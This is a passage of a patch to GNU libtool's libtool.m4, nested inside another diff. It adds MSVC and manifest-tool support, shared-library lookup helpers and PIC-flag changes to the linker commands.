-+ [Command to use when deplibs_check_method = "file_magic"])
-+_LT_DECL([], [file_magic_glob], [1],
-+ [How to find potential files when deplibs_check_method = "file_magic"])
-+_LT_DECL([], [want_nocaseglob], [1],
-+ [Find potential files using nocaseglob when deplibs_check_method = "file_magic"])
- ])# _LT_CHECK_MAGIC_METHOD
-
-
-@@ -3277,6 +3443,67 @@ dnl aclocal-1.4 backwards compatibility:
- dnl AC_DEFUN([AM_PROG_NM], [])
- dnl AC_DEFUN([AC_PROG_NM], [])
-
-+# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
-+# --------------------------------
-+# how to determine the name of the shared library
-+# associated with a specific link library.
-+# -- PORTME fill in with the dynamic library characteristics
-+m4_defun([_LT_CHECK_SHAREDLIB_FROM_LINKLIB],
-+[m4_require([_LT_DECL_EGREP])
-+m4_require([_LT_DECL_OBJDUMP])
-+m4_require([_LT_DECL_DLLTOOL])
-+AC_CACHE_CHECK([how to associate runtime and link libraries],
-+lt_cv_sharedlib_from_linklib_cmd,
-+[lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+])
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+_LT_DECL([], [sharedlib_from_linklib_cmd], [1],
-+ [Command to associate shared and link libraries])
-+])# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
-+
-+
-+# _LT_PATH_MANIFEST_TOOL
-+# ----------------------
-+# locate the manifest tool
-+m4_defun([_LT_PATH_MANIFEST_TOOL],
-+[AC_CHECK_TOOL(MANIFEST_TOOL, mt, :)
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+AC_CACHE_CHECK([if $MANIFEST_TOOL is a manifest tool], [lt_cv_path_mainfest_tool],
-+ [lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&AS_MESSAGE_LOG_FD
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&AS_MESSAGE_LOG_FD
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*])
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+_LT_DECL([], [MANIFEST_TOOL], [1], [Manifest tool])dnl
-+])# _LT_PATH_MANIFEST_TOOL
-+
-
- # LT_LIB_M
- # --------
-@@ -3403,8 +3630,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -3440,6 +3667,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -3473,6 +3701,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT@&t@_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT@&t@_DLSYM_CONST
-+#else
-+# define LT@&t@_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -3484,7 +3724,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT@&t@_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -3510,15 +3750,15 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
- fi
-@@ -3551,6 +3791,13 @@ else
- AC_MSG_RESULT(ok)
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[[@]]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
- _LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1],
- [Take the output of nm and produce a listing of raw symbols and C names])
- _LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1],
-@@ -3561,6 +3808,8 @@ _LT_DECL([global_symbol_to_c_name_address],
- _LT_DECL([global_symbol_to_c_name_address_lib_prefix],
- [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1],
- [Transform the output of nm in a C name address pair when lib prefix is needed])
-+_LT_DECL([], [nm_file_list_spec], [1],
-+ [Specify filename containing input files for $NM])
- ]) # _LT_CMD_GLOBAL_SYMBOLS
-
-
-@@ -3572,7 +3821,6 @@ _LT_TAGVAR(lt_prog_compiler_wl, $1)=
- _LT_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_TAGVAR(lt_prog_compiler_static, $1)=
-
--AC_MSG_CHECKING([for $compiler option to produce PIC])
- m4_if([$1], [CXX], [
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
-@@ -3678,6 +3926,12 @@ m4_if([$1], [CXX], [
- ;;
- esac
- ;;
-+ mingw* | cygwin* | os2* | pw32* | cegcc*)
-+ # This hack is so that the source file can tell whether it is being
-+ # built for inclusion in a dll (and should export symbols for example).
-+ m4_if([$1], [GCJ], [],
-+ [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'])
-+ ;;
- dgux*)
- case $cc_basename in
- ec++*)
-@@ -3830,7 +4084,7 @@ m4_if([$1], [CXX], [
- ;;
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
-@@ -4053,6 +4307,12 @@ m4_if([$1], [CXX], [
- _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared'
- _LT_TAGVAR(lt_prog_compiler_static, $1)='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,-Wl,,'
-+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
-+ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -4115,7 +4375,7 @@ m4_if([$1], [CXX], [
- _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
- *)
- _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
-@@ -4172,9 +4432,11 @@ case $host_os in
- _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])"
- ;;
- esac
--AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
--_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
-- [How to pass a linker flag through the compiler])
-+
-+AC_CACHE_CHECK([for $compiler option to produce PIC],
-+ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)],
-+ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
-+_LT_TAGVAR(lt_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -4193,6 +4455,8 @@ fi
- _LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1],
- [Additional compiler flags for building library objects])
-
-+_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
-+ [How to pass a linker flag through the compiler])
- #
- # Check to make sure the static flag actually works.
- #
-@@ -4213,6 +4477,7 @@ _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
- m4_defun([_LT_LINKER_SHLIBS],
- [AC_REQUIRE([LT_PATH_LD])dnl
- AC_REQUIRE([LT_PATH_NM])dnl
-+m4_require([_LT_PATH_MANIFEST_TOOL])dnl
- m4_require([_LT_FILEUTILS_DEFAULTS])dnl
- m4_require([_LT_DECL_EGREP])dnl
- m4_require([_LT_DECL_SED])dnl
-@@ -4221,6 +4486,7 @@ m4_require([_LT_TAG_COMPILER])dnl
- AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
- m4_if([$1], [CXX], [
- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
- case $host_os in
- aix[[4-9]]*)
- # If we're using GNU nm, then we don't want the "-C" option.
-@@ -4235,15 +4501,20 @@ m4_if([$1], [CXX], [
- ;;
- pw32*)
- _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
-- ;;
-+ ;;
- cygwin* | mingw* | cegcc*)
-- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;/^.*[[ ]]__nm__/s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ case $cc_basename in
-+ cl*) ;;
-+ *)
-+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
-+ ;;
-+ esac
-+ ;;
- *)
- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ ;;
- esac
-- _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
- ], [
- runpath_var=
- _LT_TAGVAR(allow_undefined_flag, $1)=
-@@ -4411,7 +4682,8 @@ _LT_EOF
- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_TAGVAR(always_export_symbols, $1)=no
- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -4510,12 +4782,12 @@ _LT_EOF
- _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive'
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir'
-- _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -4529,8 +4801,8 @@ _LT_EOF
- _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -4548,8 +4820,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_TAGVAR(ld_shlibs, $1)=no
- fi
-@@ -4595,8 +4867,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_TAGVAR(ld_shlibs, $1)=no
- fi
-@@ -4726,7 +4998,7 @@ _LT_EOF
- _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
-@@ -4737,7 +5009,7 @@ _LT_EOF
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
-@@ -4781,20 +5053,63 @@ _LT_EOF
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-- # FIXME: Should let the user specify the lib program.
-- _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
-- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ _LT_TAGVAR(always_export_symbols, $1)=yes
-+ _LT_TAGVAR(file_list_spec, $1)='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1,DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
-+ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-+ # FIXME: Should let the user specify the lib program.
-+ _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -4828,7 +5143,7 @@ _LT_EOF
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
- _LT_TAGVAR(hardcode_direct, $1)=yes
- _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
-@@ -4836,7 +5151,7 @@ _LT_EOF
-
- hpux9*)
- if test "$GCC" = yes; then
-- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -4852,7 +5167,7 @@ _LT_EOF
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -4876,10 +5191,10 @@ _LT_EOF
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -4926,16 +5241,31 @@ _LT_EOF
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- AC_LINK_IFELSE([AC_LANG_SOURCE([int foo(void) {}])],
-- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-- )
